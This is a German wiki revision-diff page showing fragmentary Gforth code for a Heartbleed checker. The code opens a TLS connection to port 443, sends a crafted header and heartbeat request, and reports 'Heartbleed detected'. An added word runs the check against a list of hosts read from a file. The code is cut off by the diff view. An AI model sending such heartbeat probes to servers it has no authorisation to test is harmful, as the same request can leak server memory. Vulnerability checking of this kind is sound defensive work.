examples:heartbleed
Unterschiede
Hier werden die Unterschiede zwischen zwei Versionen angezeigt.
| Beide Seiten der vorigen RevisionVorhergehende ÜberarbeitungNächste Überarbeitung | Vorhergehende Überarbeitung | ||
| examples:heartbleed [2014-04-11 18:21] – bernd | examples:heartbleed [2014-04-11 22:00] (aktuell) – bernd | ||
|---|---|---|---|
| Zeile 7: | Zeile 7: | ||
| </ | </ | ||
| - | starten. | + | starten. |
| + | |||
| + | < | ||
| + | cat < | ||
| + | </ | ||
| + | |||
| + | oder Gforth starten und dann | ||
| + | |||
| + | <code Forth> | ||
| + | require heartbleed.fs | ||
| + | s" < | ||
| + | </ | ||
| + | |||
| + | Was der Code macht, ist schnell erklärt: Er schickt zuerst ein " | ||
| <code Forth> | <code Forth> | ||
| Zeile 40: | Zeile 53: | ||
| s" / | s" / | ||
| random32 4 + 28 r@ read-file throw drop r> close-file throw ; | random32 4 + 28 r@ read-file throw drop r> close-file throw ; | ||
| - | |||
| - | Create pollfds pollfd %size allot | ||
| Variable buggy? | Variable buggy? | ||
| Zeile 47: | Zeile 58: | ||
| : get-heartbleed ( addr u port -- ) >r 2dup r> buggy? off | : get-heartbleed ( addr u port -- ) >r 2dup r> buggy? off | ||
| 1000000 set-socket-timeout | 1000000 set-socket-timeout | ||
| - | open-socket >r r@ fileno pollfds fd l! POLLIN pollfds events w! | + | open-socket >r |
| TLS-header header# r@ write-socket | TLS-header header# r@ write-socket | ||
| BEGIN r@ pad $10000 read-socket nip 0= UNTIL | BEGIN r@ pad $10000 read-socket nip 0= UNTIL | ||
| Zeile 57: | Zeile 68: | ||
| r> close-socket | r> close-socket | ||
| type buggy? @ IF ." : Heartbleed detected" | type buggy? @ IF ." : Heartbleed detected" | ||
| + | |||
| + | Variable files | ||
| + | |||
| + | : file-heartbleed ( addr u -- ) | ||
| + | r/w open-file throw files $[]slurp | ||
| + | files [: 443 get-heartbleed ;] $[]map ; | ||
| script? [IF] | script? [IF] | ||
examples/heartbleed.1397233280.txt.gz · Zuletzt geändert: 2014-04-11 18:21 von bernd